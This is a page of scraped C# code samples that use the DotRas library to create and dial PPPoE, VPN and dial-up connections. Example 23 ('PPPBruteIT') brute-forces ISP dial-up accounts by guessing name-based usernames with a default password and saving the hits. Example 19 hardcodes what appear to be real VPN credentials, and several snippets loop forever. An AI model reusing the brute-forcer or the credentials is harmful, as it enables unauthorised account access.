Esempio n. 1
1
 public static bool ChangeIP()
 {
     try
     {
         string mypbk = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers).ToString();
         RasConnection myconn = RasConnection.GetActiveConnectionByName("adsl", mypbk);
         myconn.HangUp();
         RasDialer dialer = new RasDialer();
        // dialer.DialCompleted += new EventHandler<DialCompletedEventArgs>(dialer_DialCompleted);
         dialer.DialCompleted += new EventHandler<DialCompletedEventArgs>(dialer_DialCompleted);
         dialer.EntryName = "adsl";
         dialer.PhoneNumber = "";
         dialer.AllowUseStoredCredentials = true;
         dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
         dialer.Timeout = 5000;
         rasDone = false;
         RasHandle myras = dialer.Dial();
         while (myras.IsInvalid)
         {
             System.Threading.Thread.Sleep(3000);
             myras = dialer.Dial();
         }
         return true;
     }
     catch
     {
         return false;
     }
 }
Esempio n. 2
0
 private void dial_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         string username = tb_username.Text.Replace("\\r", "\r").Replace("\\n", "\n");
         string password = pb_password.Password.ToString();
         RasDialer dialer = new RasDialer();
         dialer.EntryName = "PPPoEDialer";
         dialer.PhoneNumber = " ";
         dialer.AllowUseStoredCredentials = true;
         dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
         dialer.Credentials = new System.Net.NetworkCredential(username, password);
         dialer.Timeout = 500;
         RasHandle myras = dialer.Dial();
         while (myras.IsInvalid)
         {
             lb_status.Content = "拨号失败";
         }
         if (!myras.IsInvalid)
         {
             lb_status.Content = "拨号成功! ";
             RasConnection conn = RasConnection.GetActiveConnectionByHandle(myras);
             RasIPInfo ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
             lb_message.Content = "获得IP: " + ipaddr.IPAddress.ToString();
             dial.IsEnabled = false;
             hangup.IsEnabled = true;
         }
     }
     catch (Exception)
     {
         lb_status.Content = "拨号出现异常";
     }
 }
Esempio n. 3
0
        public static void CreateVPN()
        {
            VPNHelper vpn = new VPNHelper();

            using (DotRas.RasDialer dialer = new DotRas.RasDialer())
            {
                DotRas.RasPhoneBook allUsersPhoneBook = new DotRas.RasPhoneBook();
                allUsersPhoneBook.Open();
                if (allUsersPhoneBook.Entries.Contains(VPNConnectionName))
                {
                    return;
                }
                RasEntry entry = RasEntry.CreateVpnEntry(VPNConnectionName, IPToPing, RasVpnStrategy.PptpFirst, RasDevice.GetDeviceByName("(PPTP)", RasDeviceType.Vpn));
                allUsersPhoneBook.Entries.Add(entry);
                dialer.EntryName     = VPNConnectionName;
                dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
                try
                {
                    dialer.Credentials = new NetworkCredential(UserName, Password);
                    dialer.DialAsync();
                }
                catch (Exception)
                {
                    return;
                }
            }
        }
Esempio n. 4
0
 public int Connect(string Connection)
 {
     int flag = 0;
     try
     {
         CreateOrUpdatePPPOE(Connection);
         RasDialer dialer = new RasDialer();
         dialer.EntryName = Connection;
         dialer.PhoneNumber = " ";
         dialer.AllowUseStoredCredentials = true;
         dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
         dialer.Credentials = new NetworkCredential(user, password);
         dialer.Timeout = 1000;
         RasHandle myras = dialer.Dial();
         while (myras.IsInvalid)
         {
             Thread.Sleep(1000);
             myras = dialer.Dial();
         }
         if (!myras.IsInvalid)
         {
             return 0;
         }
     }
     catch (Exception ex)
     {
         flag = -1;
     }
     return flag;
 }
Esempio n. 5
0
 public void CreateConnect(string ConnectName)
 {
     RasDialer dialer = new RasDialer();
     RasPhoneBook book = new RasPhoneBook();
     try
     {
         book.Open(RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User));
         if (book.Entries.Contains(ConnectName))
         {
             book.Entries[ConnectName].PhoneNumber = " ";
             book.Entries[ConnectName].Update();
         }
         else {
             System.Collections.ObjectModel.ReadOnlyCollection<RasDevice> readOnlyCollection = RasDevice.GetDevices();
             RasDevice device = RasDevice.GetDevices().Where(o => o.DeviceType == RasDeviceType.PPPoE).First();
             RasEntry entry = RasEntry.CreateBroadbandEntry(ConnectName, device);
             entry.PhoneNumber = " ";
             book.Entries.Add(entry);
         }
     }
     catch (Exception)
     {
         lb_status.Content = "创建PPPoE连接失败";
     }
 }
Esempio n. 6
0
        public static void CreateVPN()
        {
            VPN vpn = new VPN();

            DotRas.RasDialer    dialer            = new DotRas.RasDialer();
            DotRas.RasPhoneBook allUsersPhoneBook = new DotRas.RasPhoneBook();
            allUsersPhoneBook.Open();
            if (allUsersPhoneBook.Entries.Contains(vpn.VPNConnectionName))
            {
                return;
            }
            RasEntry entry = RasEntry.CreateVpnEntry(vpn.VPNConnectionName, vpn.IPToPing, RasVpnStrategy.PptpFirst, RasDevice.GetDeviceByName("(PPTP)", RasDeviceType.Vpn));

            allUsersPhoneBook.Entries.Add(entry);
            dialer.EntryName     = vpn.VPNConnectionName;
            dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
            try
            {
                dialer.DialAsync();
            }
            catch (Exception)
            {
                return;
            }
        }
Esempio n. 7
0
        // Master-function
        public static void Master(string usr, string wpd, string entryName)
        {
            string licenseKey = LoadLicenseKey();
            bool isLicenceCorrect = CheckLicenseKey(licenseKey);
            if (isLicenceCorrect == true)
            {
                Console.WriteLine("License is correct.");
                Console.WriteLine("Checking for connetion...");
                RasDialer rd = new RasDialer();
                rd.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
                RasPhoneBook pb = new RasPhoneBook();
                pb.Open(rd.PhoneBookPath);
                if (pb.Entries.Contains(entryName) == true)
                {
                    // Write dial information when state is changed
                    rd.StateChanged += (sender, args) => { Console.WriteLine(args.State.ToString()); };

                    Console.WriteLine("Connection exists.");
                    Console.WriteLine("Dialing...");

                    rd.EntryName = entryName;
                    rd.Credentials = new NetworkCredential(usr,wpd);

                    // Dialing
                    rd.DialAsync();

                }
                else
                {
                    Console.WriteLine("Connection doesn't exist. Please use \"Connection creater\" or contact me by phone.");
                    return;
                }
            }
        }
Esempio n. 8
0
		void Btn_DialupClick(object sender, EventArgs e)
		{
			try {
				string username = Username.Text.Replace("\\r","\r").Replace("\\n","\n");
				string password = Password.Text.ToString();
				RasDialer dialer = new RasDialer();
				dialer.EntryName = "PPPoEDial";
				dialer.PhoneNumber = " ";
				dialer.AllowUseStoredCredentials = true;
				dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
				dialer.Credentials = new NetworkCredential(username, password);
				dialer.Timeout = 1000;
				RasHandle myras = dialer.Dial();
				while (myras.IsInvalid) {
					lb_Status.Text = "拨号失败";
				}
				if (!myras.IsInvalid) {
					lb_Status.Text = "拨号成功! ";
					RasConnection conn = RasConnection.GetActiveConnectionByHandle(myras);
					RasIPInfo ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
					lb_IPAddr.Text = "获得IP: " + ipaddr.IPAddress.ToString();
					btn_Dialup.Enabled = false;
					btn_Hungup.Enabled = true;
				}
			} catch (Exception) {
				lb_Status.Text = "拨号出现异常";
			}
		}
Esempio n. 9
0
        private void DialButton_Click(object sender, RoutedEventArgs e)
        {
            this.StatusTextBox.Clear();

            this.dialer = new RasDialer();
            this.dialer.DialCompleted += new EventHandler<DialCompletedEventArgs>(dialer_DialCompleted);
            this.dialer.StateChanged += new EventHandler<StateChangedEventArgs>(dialer_StateChanged);

            this.dialer.EntryName = (string)this.ConnectionComboBox.SelectedValue;
            this.dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);

            // This allows the multi-threaded dialer to update information on the user interface without causing any threading problems.
            this.dialer.SynchronizingObject = new DispatcherSynchronizingObject(App.Current.Dispatcher);

            try
            {
                // Set the credentials the dialer should use.
                this.dialer.Credentials = new System.Net.NetworkCredential("Test", "User");

                this.handle = this.dialer.DialAsync();

                // Disable the button used to initiate dialing while the operation is in progress.
                this.DialButton.IsEnabled = false;
                this.DisconnectButton.IsEnabled = true;
            }
            catch (Exception ex)
            {
                this.StatusTextBox.AppendText(ex.ToString());
                this.StatusTextBox.ScrollToEnd();
            }
        }
Esempio n. 10
0
        public void CredentialsTest()
        {
            NetworkCredential expected = new NetworkCredential("Test", "User");

            RasDialer target = new RasDialer();
            target.Credentials = expected;

            NetworkCredential actual = target.Credentials;

            Assert.AreEqual(expected, actual);
        }
Esempio n. 11
0
        public void AutoUpdateCredentialsTest()
        {
            RasUpdateCredential expected = RasUpdateCredential.User;

            RasDialer dialer = new RasDialer();
            dialer.AutoUpdateCredentials = expected;

            RasUpdateCredential actual = dialer.AutoUpdateCredentials;

            Assert.AreEqual(expected, actual);
        }
Esempio n. 12
0
        public Client()
        {
            InitializeComponent();

            connections = new RasPhoneBook();
            currentVPN = new RasDialer();

            CheckForUpdates();

            FormClosing += Client_Closing;
        }
Esempio n. 13
0
        public override void Execute()
        {
            _logger.Info(() => string.Format("Dialling connection '{0}'...", _options.ConnectionName));

            var dialer = new RasDialer
                         {
                             AllowUseStoredCredentials = true,
                             EntryName                 = _options.ConnectionName,
                             PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User)
                         };
            dialer.Dial();

            _logger.Info(() => "Connected.");
        }
Esempio n. 14
0
 public bool Connect()
 {
     dialer = new RasDialer();
     //string AppDataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
     //    + Path.DirectorySeparatorChar + Application.ProductName + Path.DirectorySeparatorChar + "PhoneBook.pbk";
     using (RasPhoneBook phoneBook = new RasPhoneBook())
     {
         phoneBook.Open();
         RasEntry entry = null;
         if (phoneBook.Entries.Contains(connName))
         {
             phoneBook.Entries.Remove(connName);
         }
         if (model.VpnType.ToUpper().Equals("L2TP"))
         {
             entry = RasEntry.CreateVpnEntry(connName, model.Address, RasVpnStrategy.L2tpOnly, RasDevice.GetDeviceByName("(L2TP)", RasDeviceType.Vpn));
         }
         else
         {
             entry = RasEntry.CreateVpnEntry(connName, model.Address, RasVpnStrategy.PptpOnly, RasDevice.GetDeviceByName("(PPTP)", RasDeviceType.Vpn));
         }
         phoneBook.Entries.Add(entry);
         entry.Options.PreviewDomain = false;
         entry.Options.ShowDialingProgress = false;
         entry.Options.PromoteAlternates = false;
         entry.Options.DoNotNegotiateMultilink = false;
         entry.DnsAddress = IPAddress.Parse("8.8.8.8");
         entry.DnsAddressAlt = IPAddress.Parse("110.75.217.1");
         if (model.VpnType.ToUpper().Equals("L2TP") && !string.IsNullOrEmpty(model.L2tpSec))
         {
             entry.Options.UsePreSharedKey = true;
             entry.UpdateCredentials(RasPreSharedKey.Client, model.L2tpSec);
             entry.Update();
         }
         dialer.DialCompleted += new EventHandler<DialCompletedEventArgs>(Dialer_DialCompleted);
         dialer.EapOptions = new DotRas.RasEapOptions(false, false, false);
         dialer.HangUpPollingInterval = 0;
         dialer.Options = new DotRas.RasDialOptions(false, false, false, false, false, false, false, false, false, false);
         dialer.EntryName = connName;
         dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
         dialer.AllowUseStoredCredentials = true;
         dialer.AutoUpdateCredentials = RasUpdateCredential.AllUsers;
         dialer.Credentials = new NetworkCredential(model.Username, model.Password);
         eventX = new ManualResetEvent(false);
     }
     handle = dialer.DialAsync();
     eventX.WaitOne(Timeout.Infinite, true);
     return connectSatuts;
 }
Esempio n. 15
0
        /// <summary>
        /// Initializes a new instance of the MainWindowViewModel class.
        /// </summary>
        public MainWindowViewModel()
        {
            this.phonebook = new RasPhoneBook();
            this.phonebook.Changed += new EventHandler<EventArgs>(this.phonebook_Changed);
            this.phonebook.EnableFileWatcher = true;

            this.dialer = new RasDialer();
            this.dialer.DialCompleted += new System.EventHandler<DialCompletedEventArgs>(this.dialer_DialCompleted);
            this.dialer.StateChanged += new System.EventHandler<StateChangedEventArgs>(this.dialer_StateChanged);

            this.CreateEntry = new RelayCommand(() => this.OnCreateEntry());
            this.Dial = new RelayCommand<RasEntry>((item) => this.OnDial(item));
            this.Disconnect = new RelayCommand(() => this.OnDisconnect());
            this.WindowInit = new RelayCommand(() => this.OnWindowInit());
        }
Esempio n. 16
0
        public static void CreateVPN(string connName, string serverIP, string userName, string password)
        {
            if (connName.ToUpper().EndsWith("US"))
            {
                CreateVPN_US(connName, serverIP, userName, password);
                return;
            }
            DotRas.RasDialer dialer = new DotRas.RasDialer();
            DotRas.RasPhoneBook allUsersPhoneBook = new DotRas.RasPhoneBook();
            allUsersPhoneBook.Open();

            RasEntry entry = null;
            if (!allUsersPhoneBook.Entries.Contains(connName))
            {
                entry = RasEntry.CreateVpnEntry(connName, serverIP, RasVpnStrategy.PptpOnly, RasDevice.GetDeviceByName("(PPTP)", RasDeviceType.Vpn));
                entry.Options = RasEntryOptions.Custom;
                entry.EncryptionType = RasEncryptionType.Optional;
                entry.Options = entry.Options |= RasEntryOptions.RequirePap;
                entry.Options = entry.Options |= RasEntryOptions.RequireChap;
                entry.Options = entry.Options |= RasEntryOptions.RequireMSChap;
                entry.Options = entry.Options |= RasEntryOptions.RequireMSChap2;
                allUsersPhoneBook.Entries.Add(entry);
            }
            else
            {
                entry = allUsersPhoneBook.Entries[connName];
                entry.PhoneNumber = serverIP;
                IPAddress _ip;
                IPAddress.TryParse(serverIP, out _ip);
                entry.IPAddress = _ip;
            }
            dialer.EntryName = connName;
            dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);

            try
            {
                NetworkCredential nc = new NetworkCredential(userName, password);
                entry.UpdateCredentials(nc);
                entry.Update();
                dialer.DialAsync();
            }
            catch (Exception e)
            {
                Log.Error(serverIP + "Create VPN Connection fail.\n +" + e.Message);
                return;
            }
        }
Esempio n. 17
0
        public void Connect()
        {
            if (ConnectionManager.PhoneBookPath == null)
                throw new Exception("Phonebookpath is null");

            var dialer = new RasDialer
            {
                EntryName = Name,
                PhoneBookPath = ConnectionManager.PhoneBookPath,
                Credentials = _networkCredential
            };

            dialer.StateChanged += (sender, args) =>
            {
                Status = args.State;
                OnStateChanged();
            };

            dialer.Dial();
        }
Esempio n. 18
0
        public modem()
        {
            try
            {
                dialer    = new RasDialer();
                phonebook = new RasPhoneBook();

                dialer.DialCompleted += new EventHandler <DialCompletedEventArgs>(dialer_DialCompleted);
                dialer.StateChanged  += new EventHandler <StateChangedEventArgs>(dialer_StateChanged);
                phonebook.Open();

                Entry = new string[phonebook.Entries.Count];

                for (int i = 0; i < phonebook.Entries.Count; i++)
                {
                    Entry[i] = phonebook.Entries[i].Name;
                }
            }
            catch (Exception ex)
            {
                IPayBox.AddToLog(IPayBox.Logs.Main, "Не удалось инициализировать класс работы с GPRS;" + ex.Message);
            }
        }
Esempio n. 19
0
            public void Connect()
            {
                if (NetworkInterface.GetIsNetworkAvailable() && !isConnected() && !this.isConnecting)
                {
                    isConnecting = true;
                    using (RasPhoneBook pb = new RasPhoneBook())
                    {
                        pb.Open(); // Using obsolete method, because the suggested method doesn't work
                        RasEntryCollection entries = pb.Entries;
                        RasDialer rd = new RasDialer();
                        rd.EntryName = "US TX"; // The name of my specific VPN connection
                        rd.PhoneBookPath = pb.Path;
                        rd.Credentials = new NetworkCredential("x8302947", "OemUntIewO");
                        System.Threading.Thread.Sleep(20000);

                        while (!isConnected())
                        {
                            if (!rd.IsBusy) // Still tries connecting if a connection is already in progress.
                            {
                                try
                                {
                                    rd.Dial();
                                    System.Threading.Thread.Sleep(20000); // Increase time if still seeing warning about already connecting
                                                                          // Hacky way of getting around the warning message
                                                                          // of multiple connection attempts
                                                                          // VPN is potentially unconnected for 20 secs
                                }
                                catch (Exception e)
                                {
                                    // Don't break the program just cause its having trouble connecting
                                    // If a warning appears try to close it
                                    CloseWarning();
                                }
                            }
                        }
                        isConnecting = false;
                        timer.Enabled = true;

                        /* TODO: Allow the user to enter this information so its more universal
                        Manually add L2TP with preshared key

                        string l2tpConName = "US-TX";
                        string ip = "";
                        string username = "";
                        string password = "";
                        string sharedKey = "mysafety";

                        RasEntry entryL2TP = RasEntry.CreateVpnEntry(l2tpConName, ip, RasVpnStrategy.L2tpOnly, RasDevice.GetDeviceByName("(L2TP)", RasDeviceType.Vpn));

                        pb.Entries.Add(entryL2TP);

                        entryL2TP.UpdateCredentials(new NetworkCredential(username, password));
                        entryL2TP.Update();
                        entryL2TP.Options.UsePreSharedKey = true;
                        entryL2TP.UpdateCredentials(RasPreSharedKey.Client, sharedKey);
                        entryL2TP.Update();*/
                    }
                }
                else
                    Connect();
            }
Esempio n. 20
0
        //Dialup
        private Error CreaVPNxTel()
        {
            Error cxnErr = new Error();

            string telDefault = TransacManager.ProtoConfig.CONFIG.Telefono;// "08006665807";
            string prefijo = TransacManager.ProtoConfig.CONFIG.CxnTelPrefijo;// "11000";
            string separador = "w";
            if (String.IsNullOrEmpty(prefijo))
            {
                prefijo = "";
                separador = "";
            }
            string modemDefault = TransacManager.ProtoConfig.CONFIG.CxnTelNombreModem;// "Conexant USB CX93010 ACF Modem";
            string user = TransacManager.ProtoConfig.CONFIG.CxnTelUser;// "bmtp";
            string pass = TransacManager.ProtoConfig.CONFIG.CxnTelPass;// "bmtp";
            uint timeout = TransacManager.ProtoConfig.CONFIG.CxnTelTimeout;

            string nombre1, nombre2, nombre3, port1, port2, port3, tel1, tel2, tel3;

            Conexion cxn = new Conexion();

                string rdo = cxn.Leer_XMLprn(out nombre1, out nombre2, out nombre3, out port1, out  port2, out port3, out tel1, out tel2, out tel3, TransacManager.ProtoConfig.CONFIG);
                string[] tel = new string[4];

                if (rdo == null)
                {
                    tel[0] = tel1;
                    tel[1] = tel2;
                    tel[2] = tel3;
                    tel[3] = telDefault;
                }
                else
                    tel[0] = telDefault;

                string path = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);

                using (RasPhoneBook pbk = new RasPhoneBook())
                {
                    pbk.Open(path);

                    // Find the device that will be used to dial the connection.
                    RasDevice device = RasDevice.GetDevices().Where(u => u.Name == modemDefault && u.DeviceType == RasDeviceType.Modem).First();

                    RasEntry entry;

                    ICollection<RasConnection> conecciones = RasConnection.GetActiveConnections();

                    if (conecciones.Count > 0)
                    {
                        RasConnection conn1 = conecciones.Where(o => o.EntryName == "BMTP Dial up").First();
                        conn1.HangUp();
                    }

                    pbk.Entries.Clear();

                    try
                    {
                        entry = RasEntry.CreateDialUpEntry("BMTP Dial up", prefijo + separador + tel[0], device);

                        if (rdo == null)
                        {
                            entry.AlternatePhoneNumbers.Add(prefijo + separador + tel[1]);
                            entry.AlternatePhoneNumbers.Add(prefijo + separador + tel[2]);
                            entry.AlternatePhoneNumbers.Add(prefijo + separador + telDefault);
                            LogBMTP.LogMessage("Se leyó PRN. Telefonos alternativos cargados.", lvlLogCxn, TimeStampLog);
                        }
                        else
                        {
                            LogBMTP.LogMessage("No hay PRN. Intentará conectar con número telefónico por defecto.", lvlLogCxn, TimeStampLog);
                        }

                        //entry.Options.ModemLights = true;
                        //entry.Options.ShowDialingProgress = true;
                        //entry.Options.TerminalBeforeDial = true;
                        //entry.Options.TerminalAfterDial = true;

                        pbk.Entries.Add(entry);

                        using (RasDialer dialer = new RasDialer())
                        {
                            dialer.Dispose();
                            dialer.EntryName = "BMTP Dial up";
                            dialer.PhoneBookPath = path;
                            dialer.Credentials = new NetworkCredential(user, pass);

                            dialer.Timeout = (int)timeout;
                            dialer.Options.DisableReconnect = false;
                            dialer.Options.SetModemSpeaker = true;

                            dialer.Dial();
                        }
                    }
                    catch (Exception e)
                    {
                        pbk.Entries.Clear();
                        LogBMTP.LogMessage(e.ToString(), lvlLogExcepciones, TimeStampLog);

                        cxnErr.CodError = (int)ErrComunicacion.CXN_TELEFONOex;
                        cxnErr.Descripcion = "Error de conexión. No puede establecerse una comunicación por telefono.";
                        cxnErr.Estado = 0;
                        LogBMTP.LogMessage("Excepción: " + cxnErr.CodError + " " + cxnErr.Descripcion, lvlLogExcepciones, TimeStampLog);
                        LogBMTP.LogMessage("Excepción: " + e.ToString(), lvlLogExcepciones, TimeStampLog);
                    }
                }

                return cxnErr;
        }
Esempio n. 21
0
        public override void Initialize()
        {
            this.error = null;
            this.cancelled = false;
            this.connected = false;
            this.timedOut = false;

            this.target = new RasDialer();
            this.target.PhoneBookPath = phonebookPath;
            this.target.DialCompleted += new EventHandler<DialCompletedEventArgs>(this.Target_DialCompleted);
            this.target.Error += new EventHandler<System.IO.ErrorEventArgs>(this.Target_Error);
            this.target.StateChanged += new EventHandler<StateChangedEventArgs>(this.Target_StateChanged);

            this.stateWaitHandle = new EventWaitHandle(false, EventResetMode.AutoReset);
            this.waitHandle = new System.Threading.EventWaitHandle(false, System.Threading.EventResetMode.AutoReset);

            base.Initialize();
        }
Esempio n. 22
0
        public override bool Connect()
        {
            this.connected = false;

            try
            {
                this.rasProperties = new RasProperties(this.ParentForm, this);

                DirectoryInfo directoryInfo = (new FileInfo(this.GetType().Assembly.Location)).Directory;

                if ((directoryInfo == null || directoryInfo.Exists == false) && string.IsNullOrEmpty(this.PhonebookPath))
                {
                    rasProperties.Error("The phonebook path hasn't been set. Aborting RAS connection.");
                    return this.connected = false;
                }

                this.Embed(this.rasProperties);

                // The 'RasDevice.GetDeviceByName([string], [RasDeviceType])' method is obsolete as of DotRas (ChangeSet 93435):
                RasEntry entry = RasEntry.CreateVpnEntry(this.Favorite.Name, this.Favorite.ServerName,
                                                         RasVpnStrategy.Default, (from d in RasDevice.GetDevices()
                                                                                  where
                                                                                      d.DeviceType == RasDeviceType.Vpn &&
                                                                                      d.Name.ToUpper()
                                                                                       .Contains("(PPTP)")
                                                                                  select d).FirstOrDefault());

                // Create the Ras phonebook or upen it under the below mentioned path.
                string phonebookPath = this.PhonebookPath ?? Path.Combine(directoryInfo.FullName, "rasphone.pbk");

                this.rasPhoneBook = new RasPhoneBook();
                this.rasPhoneBook.Open(phonebookPath);

                this.rasProperties.RasEntry = entry;

                // Check if the entry hasn't been added.
                if (!this.rasPhoneBook.Entries.Contains(entry.Name))
                {
                    this.rasPhoneBook.Entries.Add(entry);
                }

                this.rasDialer = new RasDialer
                                     {
                                         PhoneBookPath = phonebookPath,
                                         // Set the credentials later ...
                                         Credentials = null,
                                         // Initialize with default values (same as the designer would do)
                                         EapOptions = new RasEapOptions(false, false, false),
                                         // Initialize with default values (same as the designer would do)
                                         Options = new RasDialOptions(false, false, false, false, false, false, false, false, false, false, false),
                                         EntryName = this.Favorite.Name
                                     };

                this.rasDialer.Error += this.rasDialer_Error;
                this.rasDialer.DialCompleted += this.rasDialer_DialCompleted;
                this.rasDialer.StateChanged += this.rasDialer_StateChanged;

                // Set the ras dialer credentials and checks if setting the credentials has been
                // successful; if not NULL will be set to the ras dealer credentials and in that
                // case we'll load the RAS connection from the phone book.
                if ((this.rasDialer.Credentials = this.Favorite.Credential) == null)
                {
					rasProperties.Warn("Terminals has no credentials, showing dial dialog ...");

                    RasDialDialog rasDialDialog = new RasDialDialog
                                                      {
                                                          PhoneBookPath = phonebookPath,
                                                          EntryName = entry.Name
                                                      };

                    if (rasDialDialog.ShowDialog() == DialogResult.OK)
                    {
						rasProperties.Info(string.Format("{0} {1}", "Thank you for providing the credentials." + "Using the Terminals credentials, dialing ..."));
                        return this.connected = true;
                    }

                    rasProperties.Error("Terminating RAS connection, either credentials haven't been supplied or error connecting to the target.");
                    return this.connected = false;
                }

				rasProperties.Info("Using the Terminals credentials, dialing ...");
                this.rasDialer.Dial();

                return this.connected = true;
            }
            catch (Exception ex)
            {
				rasProperties.Error(string.Format("Terminals  was unable to create the {0} connection.", this.Favorite.Protocol), ex);
                return this.connected = false;
            }
        }
Esempio n. 23
0
        // ReSharper disable once InconsistentNaming
        private static void PPPBruteIT()
        {
            RasDialer dialer = new RasDialer
            {
                EntryName = ConnectorName,
                PhoneNumber = " ",
                AllowUseStoredCredentials = true,
                PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User),
                Timeout = 1000
            };
            foreach (var surname in _surNames)
            {
                foreach (var firstname in _firstNames)
                {
                    string username = ("wb." + firstname + "." + surname).ToLower();//common username
                    string password = "******";//Default password
                    try
                    {
                        dialer.Credentials = new NetworkCredential(username, password);
                        RasHandle myras = dialer.Dial();

                        while (myras.IsInvalid)
                        {
                            Console.WriteLine(username + ":" + password + " - Dial failure!");
                        }
                        if (myras.IsInvalid) return;
                        Console.WriteLine(username + ":" + password + " - Dial successful!");
                        RasConnection conn = RasConnection.GetActiveConnectionByHandle(myras);
                        RasIPInfo ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
                        Console.WriteLine(username + ":" + password + " - Obtained IP " + ipaddr.IPAddress);
                        File.AppendAllText(FoundPath, username + ":" + password + Environment.NewLine);
                        try
                        {
                            ReadOnlyCollection<RasConnection> conList = RasConnection.GetActiveConnections();
                            foreach (RasConnection con in conList)
                            {
                                con.HangUp();
                            }

                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(username + ":" + password + " - Logout abnormal(Exception): " + ex);
                        }
                    }
                    catch (Exception ex)
                    {
                        if (ex.ToString().Contains("user name and password"))
                            Console.WriteLine(username + ":" + password + " - Wrong username/password.");
                        else
                            Console.WriteLine(username + ":" + password + " - Dial Abnormal." + ex);
                    }
                }
            }
        }
Esempio n. 24
0
        /// <summary>
        /// 创建或更新一个PPPOE连接(指定PPPOE名称)
        /// </summary>
        public void CreateOrUpdatePPPOE(string updatePPPOEname)
        {
            RasDialer dialer = new RasDialer();
            RasPhoneBook allUsersPhoneBook = new RasPhoneBook();
            string path = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
            allUsersPhoneBook.Open(path);
            // 如果已经该名称的PPPOE已经存在,则更新这个PPPOE服务器地址
            if (allUsersPhoneBook.Entries.Contains(updatePPPOEname))
            {
                allUsersPhoneBook.Entries[updatePPPOEname].PhoneNumber = " ";
                // 不管当前PPPOE是否连接,服务器地址的更新总能成功,如果正在连接,则需要PPPOE重启后才能起作用
                allUsersPhoneBook.Entries[updatePPPOEname].Update();
            }
            // 创建一个新PPPOE
            else
            {
                string adds = string.Empty;
                ReadOnlyCollection<RasDevice> readOnlyCollection = RasDevice.GetDevices();
                //                foreach (var col in readOnlyCollection)
                //                {
                //                    adds += col.Name + ":" + col.DeviceType.ToString() + "|||";
                //                }
                //                _log.Info("Devices are : " + adds);
                // Find the device that will be used to dial the connection.
                RasDevice device = null;

                foreach (RasDevice dev in RasDevice.GetDevices())
                {
                    if (dev.DeviceType == RasDeviceType.PPPoE)
                    {
                        device = dev;
                        break;
                    }
                }
              //  = RasDevice.GetDevices().Where(o => o.DeviceType == RasDeviceType.PPPoE).First();
                RasEntry entry = RasEntry.CreateBroadbandEntry(updatePPPOEname, device);    //建立宽带连接Entry
                entry.PhoneNumber = " ";
                allUsersPhoneBook.Entries.Add(entry);
            }
        }
Esempio n. 25
0
        /// <summary>
        /// Binds to existing IPSec VPN connection. 
        /// </summary>
        private void VpnConnectionBind()
        {
            this._rasDialer = new RasDialer();
            this._rasConnectionWatcher = new RasConnectionWatcher();

            //this._rasDialer.Credentials = null;
            //this._rasDialer.EapData = null;
            this._rasDialer.EapOptions = new RasEapOptions(false, false, false);
            this._rasDialer.HangUpPollingInterval = 0;
            this._rasDialer.Options =
                new RasDialOptions(false, false, false, false, false, false, false, false, false, false, false);
            this._rasDialer.DialCompleted += _rasDialer_DialCompleted;
            this._rasDialer.StateChanged += _rasDialer_StateChanged;

            this._rasConnectionWatcher.Handle = null;
            this._rasConnectionWatcher.Disconnected += _rasConnectionWatcher_Disconnected;
            this._rasConnectionWatcher.Connected += _rasConnectionWatcher_Connected;
            this._rasConnectionWatcher.Error += _rasConnectionWatcher_Error;
        }
Esempio n. 26
0
        private bool disposedValue = false; // To detect redundant calls

        protected virtual void Dispose(bool disposing)
        {
            if (!disposedValue)
            {
                if (disposing)
                {
                    // TODO: dispose managed state (managed objects).
                    if (this._rasConnectionWatcher != null)
                    {
                        this._rasConnectionWatcher.Dispose();
                        this._rasConnectionWatcher = null;
                    }

                    if (this._rasPhoneBook != null)
                    {
                        this._rasPhoneBook.Dispose();
                        this._rasPhoneBook = null;
                    }

                    if (this._rasDialer != null)
                    {
                        this._rasDialer.Dispose();
                        this._rasDialer = null;
                    }
                }

                // TODO: free unmanaged resources (unmanaged objects) and override a finalizer below.
                // TODO: set large fields to null.

                disposedValue = true;
            }
        }
Esempio n. 27
0
 /// <summary>
 /// 创建或更新一个VPN连接(指定VPN名称,及IP)
 /// </summary>
 public void CreateOrUpdateVPN(string updateVPNname, string updateVPNip)
 {
     RasDialer dialer = new RasDialer();
     RasPhoneBook allUsersPhoneBook = new RasPhoneBook();
     allUsersPhoneBook.Open();
     // 如果已经该名称的VPN已经存在,则更新这个VPN服务器地址
     if (allUsersPhoneBook.Entries.Contains(updateVPNname))
     {
         allUsersPhoneBook.Entries[updateVPNname].PhoneNumber = updateVPNip;
         // 不管当前VPN是否连接,服务器地址的更新总能成功,如果正在连接,则需要VPN重启后才能起作用
         allUsersPhoneBook.Entries[updateVPNname].Update();
     }
     // 创建一个新VPN
     else
     {
         RasEntry entry = RasEntry.CreateVpnEntry(updateVPNname, updateVPNip, RasVpnStrategy.PptpFirst, RasDevice.GetDeviceByName("(PPTP)", RasDeviceType.Vpn));
         allUsersPhoneBook.Entries.Add(entry);
         dialer.EntryName = updateVPNname;
         dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers);
     }
 }
Esempio n. 28
0
        /// <summary>
